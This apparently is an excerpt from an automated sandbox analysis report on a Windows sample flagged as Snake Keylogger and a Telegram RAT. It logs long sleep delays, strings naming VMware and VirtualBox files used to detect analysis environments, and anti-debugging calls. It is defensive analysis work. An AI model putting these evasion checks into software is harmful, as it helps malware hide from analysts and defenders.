Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598896s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598776s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596559s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596169s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -594110s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599118	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598896	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598776	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596559	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596169	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmwaretrat
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q*C:\windows\System32\Drivers\vmmousever.dll
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxservice
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxtrayOC:\windows\System32\Drivers\Vmmouse.sysMC:\windows\System32\Drivers\vm3dgl.dllMC:\windows\System32\Drivers\vmtray.dllWC:\windows\System32\Drivers\VMToolsHook.dllUC:\windows\System32\Drivers\vmmousever.dllSC:\windows\System32\Drivers\VBoxMouse.sysSC:\windows\System32\Drivers\VBoxGuest.sysMC:\windows\System32\Drivers\VBoxSF.sysSC:\windows\System32\Drivers\VBoxVideo.sysGC:\windows\System32\vboxservice.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q)C:\windows\System32\Drivers\VBoxGuest.sys
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q+C:\windows\System32\Drivers\VMToolsHook.dll
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104408367.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.Sern`
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q#C:\windows\System32\vboxservice.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmtoolsd
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q'C:\windows\System32\Drivers\Vmmouse.sys
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q)C:\windows\System32\Drivers\VBoxMouse.sys
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmwareuser
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q&C:\windows\System32\Drivers\VBoxSF.sys

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

API call chain: ExitProcess graph end node

graph_0-82556

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: 0_2_061C9578 LdrInitializeThunk,

0_2_061C9578

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040CE09

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: 0_2_0040ADB0 GetProcessHeap,HeapFree,

0_2_0040ADB0

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040CE09
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040E61C
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00416F6A
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_004123F1 SetUnhandledExceptionFilter,	0_2_004123F1

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: GetLocaleInfoA,

0_2_00417A20

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: 0_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00412A15

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE
